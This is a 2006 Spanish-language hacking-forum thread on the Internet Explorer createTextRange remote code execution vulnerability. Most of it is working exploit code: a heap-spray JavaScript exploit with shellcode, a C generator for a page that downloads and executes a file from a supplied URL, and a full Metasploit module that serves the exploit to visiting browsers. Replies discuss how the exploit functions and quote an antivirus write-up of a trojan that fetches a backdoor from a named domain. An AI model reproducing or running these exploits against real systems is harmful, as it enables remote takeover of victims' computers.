elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 21:44  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2  (Leído 4,429 veces)
ANELKAOS
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.049


#include<nda.h>


Ver Perfil WWW
[UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
« en: 27 Marzo 2006, 03:59 »

Código:
<!--
 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
/\
\/ Internet Explorer Remote Code Execution Exploit v 0.1
/\   by Darkeagle of Unl0ck Research Team
\/
/\ used SkyLined idea of exploitation. special tnx goes to him.
\/

Affected Software :  Microsoft Internet Explorer 6.x, IE7 Beta 2
Severity :  Critical
Impact :  Remote System Access
Solution Status :  ** UNPATCHED **
Discovered by :  Computer Terrorism (UK)
Advisory Date :  22nd March, 2006
Tested :  WinXP SP2 RUS IE 6.0 (full patched)

Vulnerability details:

PoC from CyberTerrorists crashes IE and overwrites EIP. EIP points to unknown place.
In my case it points to 0x3c0474c2.
Exploit fills heap with "nops+shellcode" 'til 0x3CxxXXxx. Then IE trys to read memory
@ 0x3c0474c2. At this time 0x3c0474c2 contains nops+shellcode. In the end IE executes
shellcode.

Exploit needs more RAM.
Tested under 192mb RAM with 800mb of maximum page cache.

Under 512mb code was executed after 1-1.5 minutes.

Successfull exploitation will execute standart windows calculator.

Greets:
Unl0ck Researchers,
0x557 guys,
ph4nt0m guys,
sh0k, uf0,
BlackSecurity guys,
many otherz.

/\ http://unl0ck.net
\/
/\ (c) 2004 - 2006
\/
 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
 -->

<input type="checkbox" id="blah">
<SCRIPT language="javascript">

shellcode = unescape( "%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF");

    bigblock = unescape("%u9090%u9090");
    slackspace = 20 + shellcode.length

    while (bigblock.length < slackspace)
bigblock += bigblock;

    fillblock = bigblock.substring(0, slackspace);

    block = bigblock.substring(0, bigblock.length-slackspace);

    while(block.length + slackspace < 0x40000)
block = block + block + fillblock;

    memory = new Array();

    for ( i = 0; i < 2020; i++ )
memory[i] = block + shellcode;
 
    var r = document.getElementById('blah').createTextRange();

</script>
Fuente: Darkeagle


Código:
/*
*
* Internet Explorer "createTextRang" Download Shellcoded Exploit
* Bug discovered by Computer Terrorism (UK)
* http://www.computerterrorism.com/research/ct22-03-2006
* Reliable exploitation by Darkeagle of Unl0ck Research Team
* http://www.milw0rm.com/exploits/1606
*
* Affected Software: Microsoft Internet Explorer 6.x & 7 Beta 2
* Severity: Critical
* Impact: Remote System Access
* Solution Status: Unpatched
*
* E-Mail: atmaca@icqmail.com
* Web: http://www.spyinstructors.com,http://www.atmacasoft.com
* Credit to Kozan,Darkeagle,delikon,Stelian Ene
*
*/

#include <windows.h>
#include <stdio.h>

#define BUF_LEN         0x1518
#define FILE_NAME       "index.htm"

char body1[] =
"<input type=\"checkbox\" id=\"blah\">\r\n"
"<SCRIPT language=\"javascript\">\r\n\r\n"
"shellcode = unescape(\r\n"
"\t\"%uCCE9%u0000%u5F00%u56E8%u0000%u8900%u50C3%u8E68%u0E4E%uE8EC\" +\r\n"
"\t\"%u0060%u0000%uC931%uB966%u6E6F%u6851%u7275%u6D6C%uFF54%u50D0\" +\r\n"
"\t\"%u3668%u2F1A%uE870%u0046%u0000%uC931%u5151%u378D%u8D56%u0877\" +\r\n"
"\t\"%u5156%uD0FF%u6853%uFE98%u0E8A%u2DE8%u0000%u5100%uFF57%u31D0\" +\r\n"
"\t\"%u49C9%u9090%u6853%uD87E%u73E2%u19E8%u0000%uFF00%u55D0%u6456\" +\r\n"
"\t\"%u30A1%u0000%u8B00%u0C40%u708B%uAD1C%u688B%u8908%u5EE8%uC35D\" +\r\n"
"\t\"%u5553%u5756%u6C8B%u1824%u458B%u8B3C%u0554%u0178%u8BEA%u184A\" +\r\n"
"\t\"%u5A8B%u0120%uE3EB%u4935%u348B%u018B%u31EE%uFCFF%uC031%u38AC\" +\r\n"
"\t\"%u74E0%uC107%u0DCF%uC701%uF2EB%u7C3B%u1424%uE175%u5A8B%u0124\" +\r\n"
"\t\"%u66EB%u0C8B%u8B4B%u1C5A%uEB01%u048B%u018B%uE9E8%u0002%u0000\" +\r\n"
"\t\"%uC031%uEA89%u5E5F%u5B5D%uE8C3%uFF2F%uFFFF%u686D%u2E68%u7865\" +\r\n"
"\t\"%u0065";

char body2[] =
        "\r\n\r\nbigblock = unescape(\"%u9090%u9090\");\r\n"
        "slackspace = 20 + shellcode.length\r\n\r\n"
        "while (bigblock.length < slackspace)\r\n"
        "\tbigblock += bigblock;\r\n\r\n"
        "fillblock = bigblock.substring(0, slackspace);\r\n\r\n"
        "block = bigblock.substring(0, bigblock.length-slackspace);\r\n\r\n"
        "while(block.length + slackspace < 0x40000)\r\n"
        "\tblock = block + block + fillblock;\r\n\r\n"
        "memory = new Array();\r\n\r\n"
        "for ( i = 0; i < 2020; i++ )\r\n"
        "\tmemory[i] = block + shellcode;\r\n\r\n"
        "var r = document.getElementById('blah').createTextRange();\r\n\r\n"
        "</script>\r\n";


int main(int argc,char *argv[])
{
        if (argc < 2)
        {
                printf("\nInternet Explorer \"createTextRang\" Download Shellcoded Exploit");
                printf("\nUsage:\n");
                printf(" ie_exp <WebUrl>\n");

                return 0;
        }

        FILE *File;
        char *pszBuffer;
        char *web = argv[1];
        char *pu = "%u";
        char u_t[5];
        char *utf16 = (char*)malloc(strlen(web)*5);

        if ( (File = fopen(FILE_NAME,"w+b")) == NULL ) {
                printf("\n [Err:] fopen()");
                exit(1);
        }

        pszBuffer = (char*)malloc(BUF_LEN);
        memcpy(pszBuffer,body1,sizeof(body1)-1);

        memset(utf16,'\0',strlen(web)*5);
        for (unsigned int i=0;i<strlen(web);i=i+2)
        {
                sprintf(u_t,"%s%.2x%.2x", pu, web[i+1], web[i]);
                strcat(utf16,u_t);
        }

        strcat(pszBuffer,utf16);
        strcat(pszBuffer,"%u0000\");");
        strcat(pszBuffer,body2);

        fwrite(pszBuffer, BUF_LEN, 1,File);
        fclose(File);

        printf("\n\n"  FILE_NAME  " has been created in the current directory.\n");
        return 1;
}
Fuente: ATmaCA
En línea

MazarD
Colaborador
***
Desconectado Desconectado

Mensajes: 880


mazard.info


Ver Perfil WWW
Re: [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
« Respuesta #1 en: 27 Marzo 2006, 17:13 »

El Iexplore que sigue siendo un coladero... se podría escribir un libro sólo de sus bugs xDDD

La putada del exploit del checkbox es eso, que tarda mucho, y si no tiene paciencia para esperar ese minuto (yo no la tengo) y termina el proceso no llega a ejecutarse la shellcode.
En línea

-Learn as if you were to live forever, live as if you were to die tomorrow-

http://www.mazard.info
http://twitter.com/MazarD
irc://irc.freenode.org/elhacker.net
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
« Respuesta #2 en: 29 Marzo 2006, 06:05 »

puff 4 minutos :-/ pense que no habia funcionado xD

interesantisima la zona de explotación, estuve analizandolo con el Olly, y me quede mudo, el error esta escondido en funciones dentro de librerias incluidas en funciones dentro de un codigo dentro de otro, pff, apantallante..

Es decir, probablemente el error se detecto al tratar de usar la funcion.. pero aun asi, es un logro sacar errores tan remotos.. al principio pense que era un Buffer overflow, pero es Heap Overflow.. voy a documentar bien esto del olly, para presentarselos aqui mas entendible, con imagenes y todo :P

Saludos!!
En línea

fandango
Another
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.953


Powered By Slackware!


Ver Perfil
Re: [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
« Respuesta #3 en: 29 Marzo 2006, 18:47 »

Lo he probado y me crea un archivo index.htm en mi directorio, lo ejecuto y demora un buen rato tratando de abrir el archivo, y me crea otro archivo "mhh.exe" ¬¬
« Última modificación: 29 Marzo 2006, 19:02 por fandango » En línea

Casidiablo
Desarrollador
Colaborador
***
Desconectado Desconectado

Mensajes: 2.915



Ver Perfil WWW
Re: [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
« Respuesta #4 en: 30 Marzo 2006, 00:05 »


Corro el script en el IE y me lo detecta como virus el AVG:



Saludos!!!
En línea

Manibal_man


Desconectado Desconectado

Mensajes: 528



Ver Perfil
Re: [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
« Respuesta #5 en: 30 Marzo 2006, 02:09 »

Mmm, hay algo que no me termina de cerrar... quizas tiene que ver con mi traduccion pero...

En teoria el exploit trabaja sobre la base del PoC de CyberTerrorist que segun dice no permite sobreescribir el EIP al crashear sino que (vaya uno a saber porque) termina apuntando -en su caso- a 0x3c0474c2 entonces lo que hace es llenar de nops mas la SC "hasta" 0x3c0474c2... y aca es donde no entiendo... si se redirije el flujo del programa hasta esa direccion solo se va a encontrar con las ultimas lineas -incompletas- de la shellcode...

Lo logico seria sobreescribir con nops un rango hasta pasar 0x3c0474c2 para que al leer en esa direccion (variable) continue ejecutando los nops hasta llegar a la shellcode... si alguien me puede dar una mano tratando de entender esto estare muy agredecido.

Por otro lado, vi varias cosas...
El exploit solo funciona en el contexto de un sitio de "confianza" ya que el bloqueo de popups del IE viene activado por default, por ende deberia usarse en una pagina donde el usuario haya deshabilitado el bloqueo (tambien podria solucionarse usandolo en una pagina previa a un download... pero eso ya es algo mas de Ing S.), y ademas, luego de esto,  no permitiria ejecutar codigo activeX sin el horrendo cartel alarmista de "podria dañar su computadora".

En realidad lo probé solo en un SP2 Español y en un SP2 Ingles con IE 6.0.2900.2180

Saludos
En línea

:: I was born ready motha fucka ::
Manibal_man


Desconectado Desconectado

Mensajes: 528



Ver Perfil
Re: [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
« Respuesta #6 en: 30 Marzo 2006, 02:27 »

Ahhhh, estuve leyendo el source en java (lenguaje que conozco muy poco) pero creo que hace justamente lo que decia antes... no escribir nops+sc hasta esa direccion sino nops hasta pasar esa direccion y la SC despues.

Me gustaria igualmente que alguien me lo confirmara o corrijiera

Muchas gracias
En línea

:: I was born ready motha fucka ::
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
« Respuesta #7 en: 30 Marzo 2006, 03:02 »

Es un heap overflow :P el otro bug de anelkaos de JPG me parece que tambien lo es.. es diferente a BoF..

si es normal que lo detecte el antivirus..
ejecuta calc, no baja nada de internet.
Manibal, si pone mas NOPs de los necesarios,
Fandango, si es normal que se tarde en abrir.


Saludos!!
« Última modificación: 30 Marzo 2006, 03:27 por SirDarckCat » En línea

fandango
Another
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.953


Powered By Slackware!


Ver Perfil
Re: [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
« Respuesta #8 en: 30 Marzo 2006, 05:17 »

Ok SirDarckCat, pero el archivo que me creo (mhh.exe) despues de abrir el index.htm??? :P
En línea

sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
« Respuesta #9 en: 30 Marzo 2006, 05:19 »

no pues eso no es normal jaja
a mi solo me ejecuto calc.exe, analizando la fuente, etc.. no se de donde salio eso xD. puedes ponerlo anexo para ver que es?

Saludos!!
En línea

fandango
Another
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.953


Powered By Slackware!


Ver Perfil
Re: [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
« Respuesta #10 en: 30 Marzo 2006, 05:38 »

 :-[ mmm... lo he echo de nuevo y no me ha creado nada, al otro lo he borrado :-\ Pues alguien anduvo tocando mi pc cuando no estaba >:(

Saludos, y gracias por contestar.
En línea

Manibal_man


Desconectado Desconectado

Mensajes: 528



Ver Perfil
Re: [UP] Ejecuci�n Remota de C�digo en Internet Explorer 6.x & 7 Beta 2
« Respuesta #11 en: 30 Marzo 2006, 05:49 »

Ok SirDarckCat, pero el archivo que me creo (mhh.exe) despues de abrir el index.htm??? :P

Ojo con quien usa tu maquina, jeje

Código:
technical details

When Trojan.Hexem is executed, it performs the following actions:

   1. Creates one of the following files:

          * lol.png
          * hexem.png

   2. Exploits the Microsoft MSN Messenger/Windows Messenger PNG Buffer Overflow Vulnerability (described in Microsoft Security Bulletin MS02-066), and downloads a file from the following domain when the malicious PNG file is opened using a vulnerable application:

      securinews.free.fr domain

   3. sabes the downloaded file as mhh.exe, and executes it. This file is a back door Trojan.

   4. Attempts to access the IP address 212.179.253.145 on TCP port 80.

jaja, el foro reemplaza la palabra sa*ves ("guarda" o "descarga" en ingles) por "sabes"... calculo que intentando corregir errores de ortografia en los usuarios...

Saludos
« Última modificación: 30 Marzo 2006, 06:06 por Manibal_man » En línea

:: I was born ready motha fucka ::
Necro

Desconectado Desconectado

Mensajes: 287


]\/[37@|3r0


Ver Perfil WWW
Re: [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
« Respuesta #12 en: 1 Abril 2006, 00:09 »

Citar
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::ie_createtextrange;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;

my $advanced =
  {
   'Gzip'       => [1, 'Enable gzip content encoding'],
   'Chunked'    => [1, 'Enable chunked transfer encoding'],
  };

my $info =
  {
   'Name'           => 'Internet Explorer createTextRange() Code Execution',
   'Version'        => '$Revision: 1.3 $',
   'Authors'        =>
     [
      'Faithless <rhyskidd [at] gmail.com>',
      'Darkeagle <unl0ck.net>',
      'H D Moore <hdm [at] metasploit.com>',
      '<justfriends4n0w [at] yahoo.com>',
      'Anonymous',
     ],

   'Description'    =>
     Pex::Text::Freeform(qq{
      This module exploits a code execution vulnerability in Microsoft Internet Explorer.
   Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory  in a way, which, under
   certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
   to a very remote, non-existent memory location. This module is the result of merging three
   different exploit submissions and has only been reliably tested against Windows XP SP2.
   This vulnerability was independently discovered by multiple parties. The heap spray method
   used by this exploit was pioneered by Skylined.
}),

   'Arch'           => [ 'x86' ],
   'OS'             => [ 'win32', 'winxp', 'win2003' ],
   'Priv'           => 0,

   'UserOpts'       =>
     {
      'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080      ],
      'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
     },

   'Payload'        =>
     {
      'Space'    => 1024,
      'BadChars' => "\x00",
      'Keys'     => ['-bind'],
     },
   'Refs'           =>
     [
      ['OSVDB', '24050'],
      ['BID', '17196'],
      ['CVE', '2006-1359'],
      ['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'],
      ['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'],
      ['URL', 'http://www.kb.cert.org/vuls/id/876678'],
      ['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'],
      ['URL', 'http://www.shog9.com/crashIE.html'],
     ],

   'DefaultTarget'  => 0,
   'Targets'        =>
     [
      [ 'Internet Explorer 7 - (7.0.5229.0) -> 3C0474C2 (Windows XP SP2)' ],
      [ 'Internet Explorer 6 - (6.0.3790.0) -> 746F9468 (Windows XP SP2)' ],
     ],

   'Keys'           => [ 'ie' ],

   'DisclosureDate' => 'Mar 19 2006',
  };

sub new {
   my $class = shift;
   my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
   return($self);
}

sub Exploit
{
   my $self = shift;
   my $server = IO::Socket::INET->new(
      LocalHost => $self->GetVar('HTTPHOST'),
      LocalPort => $self->GetVar('HTTPPORT'),
      ReuseAddr => 1,
      Listen    => 1,
      Proto     => 'tcp'
     );
   my $client;

   # Did the listener create fail?
   if (not defined($server)) {
      $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
      return;
   }

   my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
     Pex::Utils::SourceIP('1.2.3.4') :
     $self->GetVar('HTTPHOST');

   $self->PrintLine("
  • Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");

   while (defined($client = $server->accept())) {
      $self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
   }

   return;
}

sub HandleHttpClient
{
   my $self = shift;
   my $fd   = shift;

   # Set the remote host information
   my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);

   # Read the HTTP command
   my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
   my $agent;

   # Read in the HTTP headers
   while ((my $line = $fd->RecvLine(10))) {

      $line =~ s/^\s+|\s+$//g;

      my ($var, $val) = split(/\:/, $line, 2);

      # Break out if we reach the end of the headers
      last if (not defined($var) or not defined($val));

      $agent = $val if $var =~ /User-Agent/i;
   }

   my $os = 'Unknown';

   $os = 'Linux'     if $agent =~ /Linux/i;
   $os = 'Mac OS X'  if $agent =~ /OS X/i;
   $os = 'Windows'   if $agent =~ /Windows/i;

   $self->PrintLine("
  • Client connected from $rhost:$rport ($os).");

   my $res = $fd->Send($self->BuildResponse($self->GenerateHTML()));

   $fd->Close();
}

sub JSUnescape {
   my $self = shift;
   my $data = shift;
   my $code = '';

   # Encode the shellcode via %u sequences for JS's unescape() function
   my $idx = 0;
   while ($idx < length($data) - 1) {
      my $c1 = ord(substr($data, $idx, 1));
      my $c2 = ord(substr($data, $idx+1, 1));
      $code .= sprintf('%%u%.2x%.2x', $c2, $c1);
      $idx += 2;
   }

   return $code;
}

sub GenerateHTML {
   my $self   = shift;
   my $target = $self->Targets->[$self->GetVar('TARGET')];

   my $shellcode   = $self->JSUnescape($self->GetVar('EncodedPayload')->Payload);
   my $rnd         = int(rand(3));
   my $inputtype   = (($rnd == 0) ? "checkbox" : (($rnd == 1) ? "radio" : "image"));
   my $data  = qq#
<html>
<head>
   <script language="javascript">
    var payload=unescape("$shellcode");

    var nopslide=unescape("\%u9090\%u9090");
    var slidesize=20+payload.length;
    while (nopslide.length<slidesize)
    {
        nopslide+=nopslide;
    }   

    var fillblock=nopslide.substring(0,slidesize);
    var memblock=nopslide.substring(0,nopslide.length-slidesize);

    while(memblock.length+slidesize<0x40000)
    {
        memblock+=fillblock;
    }   

    var heap=new Array();
    var index=0;
    var maxIndex=2020;
   
    function fillHeap() {
      timer.innerHTML=Math.round((index/maxIndex)*100);
        if (index<maxIndex) {
         heap.push(memblock+payload);
         index++;
         window.setTimeout("fillHeap()",5);
        }
        else {
         timer.innerHTML=100;
         r=document.createElement("input");
         r.type="$inputtype";
         a=r.createTextRange();       
        }
    }   
   </script>
</head>
<body onload="fillHeap()">
Sit back and relax as your windows box is being exploited using a non CPU consuming heap spraying exploit.<BR />
In the meantime, you can open your task manager and watch how the VM size of IEXPLORE.EXE grows, while the CPU time of this process is very low.<BR />
Progress: <span id="timer"></span>%
</body>
</html>
#;
}

sub BuildResponse {
   my ($self, $content) = @_;

   my $response =
     "HTTP/1.1 200 OK\r\n" .
     "Content-Type: text/html\r\n";

   if ($self->GetVar('Gzip')) {
      $response .= "Content-Encoding: gzip\r\n";
      $content = $self->Gzip($content);
   }
   if ($self->GetVar('Chunked')) {
      $response .= "Transfer-Encoding: chunked\r\n";
      $content = $self->Chunk($content);
   } else {
      $response .= 'Content-Length: ' . length($content) . "\r\n" .
        "Connection: close\r\n";
   }

   $response .= "\r\n" . $content;

   return $response;
}

sub Chunk {
   my ($self, $content) = @_;

   my $chunked;
   while (length($content)) {
      my $chunk = substr($content, 0, int(rand(10) + 1), '');
      $chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
   }
   $chunked .= "0\r\n\r\n";

   return $chunked;
}

sub Gzip {
   my $self = shift;
   my $data = shift;
   my $comp = int(rand(5))+5;

   my($wtr, $rdr, $err);

   my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
   print $wtr $data;
   close ($wtr);
   local $/;

   return (<$rdr>);
}
1;

enjoy!
En línea


mousehack


Desconectado Desconectado

Mensajes: 1.142

Ex-Colaborador....!!!!!!XD


Ver Perfil
Re: [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
« Respuesta #13 en: 2 Abril 2006, 17:35 »

« Última modificación: 3 Abril 2006, 01:33 por mousehack » En línea



VISITEN MI BLOG PERSONAL....
http://mousehack.blogspot.com/ ...XD
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: [UP] Ejecución Remota de Código en Internet Explorer 6.x & 7 Beta 2
« Respuesta #14 en: 3 Abril 2006, 03:17 »

No esperes que simplemente pones un nuevo exploit y magicamente puedas "jakiar" a todos.
Asi como para poder explotar un exploit en C, debes saber programar en C, para poder explotar en Metasploit, debes saber programar en Ruby, saber como funciona, entender el exploit, y los payload.. Metasploit, es un muy buen proyecto, desafortunadamente, hay gente que solo le interesa entrar a sistemas ajenos.. el script, es interesante.. solo por eso esta ahí.. ¿quieres saber como funciona?, tu analiza el error, y ve donde esta el overflow..  que por aqui hay muchos "script kiddies" que con aprender a usar el metasploit y dev-c++ creen ser "mega h4x0rs", y hasta se vanaglorian de serlo poniendo muestras de que saben explotaro, pero no tienen ni idea de lo que hace.

Saludos!!
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema, con Ejecucion del Explorer.EXE error(0xc0000022)
Windows
robertftw 5 14,386 Último mensaje 31 Diciembre 2010, 13:15
por Randomize
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines